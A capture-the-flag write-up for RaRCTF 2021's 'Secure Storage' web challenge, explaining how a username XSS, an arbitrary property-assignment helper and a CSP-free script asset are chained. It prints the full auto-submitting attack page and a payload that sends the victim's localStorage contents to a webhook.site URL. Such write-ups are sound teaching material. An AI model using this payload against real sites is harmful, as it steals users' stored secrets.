RaRCTF 2021

Web

Secure Storage

Check out our secure storage solutions for all your secure storing needs! featuring our new secure enclave™️ where secrets are stored securely™️
https://securestorage.rars.win/
https://secureenclave.rars.win/

The author writeup can be found here. The challenge is explained in far greater detail there, while this writeup sort of explains the unintended solution mentioned.

This challenge was solved in collaboration with @Creastery.

We're given two links and the corresponding source code. securestorage embeds secureenclave in an iframe, then interacts with secureenclave through postMessage.

The objective is to submit a malicious page to an admin bot which has the flag stored in secureenclave (in localStorage).

Challenge Site
/*
    Secure Storage Service's
    very secure communication method to talk to a sandboxed secure location
*/

window.onload = () => {
    let storage = document.getElementById("secure_storage");
    let user = document.getElementById("user").innerText;
    storage.contentWindow.postMessage(["user", user], storage.src);
};

const changeMsg = () => {
    let storage = document.getElementById("secure_storage");
    storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
};

const changeColor = () => {
    let storage = document.getElementById("secure_storage");
    storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
};
Script on securestorage
/* hey... what are you doing here??? 😡 */

console.log("secure js loaded...");

const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;

var user = "";
const render = () => {
    document.getElementById("user").innerText = user;
    document.getElementById("message").innerText = localStorage.message || "None set";
    document.getElementById("message").style.color = localStorage.color || "black";
};

window.onmessage = (e) => {
    let { origin, data } = e;
    if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
    z(...data.map(d => `${d}`));
    render();
};
Script on secureenclave
const z=(s,i,t=window,y='.') => {
  s.includes(y)
    ?
      z(
        s.substring(s.indexOf(y)+1), i, t[s.split(y).shift()]
      )
    :
      t[s]=i;
}
z formatted

Creastery first points out that the username provides an XSS vector:

We then start looking at secureenclave. The flattening of parameters from postMessage at z(...data.map(d => ${d})); is annoying: it means that we can only send in strings.

z gives us an arbitrary string assignment - what is this even useful for? String assignment seems useless - it does not give us a way to call functions.

Creastery again points out we can use this to write arbitrary HTML by writing into innerHTML: eg document.getElementById("secure_storage").contentWindow.postMessage(["document.body.innerHTML", "<img src='x'/>"], "*");

The next issue is the Content Security Policy present on secureenclave: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;">. With this in place, we unfortunately cannot execute any JavaScript code on secureenclave even though we can write arbitrary HTML.

After reading this article, we realise that although the main page of secureenclave and other pages all have a CSP defined on them, the assets do not. We can thus create an iframe on secureenclave that includes /secure.js, then since our writes originate from secureenclave, the Same-origin policy allows us to directly modify the contents of the iframe.

With that, we can form our malicious page, which registers a user with the following payload:

  1. Overwrite the body of secureenclave with <iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>. The additional div is necessary so that the check for site in the onmessage handler does not fail
  2. Overwrite the body of the iframe we just created with some code to exfiltrate the flag: <img src=x onerror="fetch('https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}')"/>
<html>
<body onload="loginform.submit()">
  <form id="loginform" method="POST" action="https://securestorage.rars.win/api/register">
    <input type="text" class="form-control" name="user" placeholder="Username"
      value='5123<script>setTimeout(() => { storage = document.getElementById("secure_storage");storage.contentWindow.postMessage(["document.body.innerHTML", `<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`], storage.src);setTimeout(() => { storage.contentWindow.postMessage(["window.frame.contentWindow.document.body.innerHTML", "<img src=x onerror=\"fetch(`https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}`)\"/>"], storage.src); }, 500); }, 1000)</script>'>
    <input type="password" class="form-control" name="pass" placeholder="Password" value='123123'>
    <button type="submit" class="btn btn-primary mt-4">Login</button>
  </form>
</body>
</html>
Final page
setTimeout(() => {
    storage = document.getElementById('secure_storage');
    storage.contentWindow.postMessage([
        'document.body.innerHTML',
        `<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`
    ], storage.src);
    setTimeout(() => {
        storage.contentWindow.postMessage([
            'window.frame.contentWindow.document.body.innerHTML',
            '<img src=x onerror="fetch(`https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}`)"/>'
        ], storage.src);
    }, 500);
}, 1000);
Formatted payload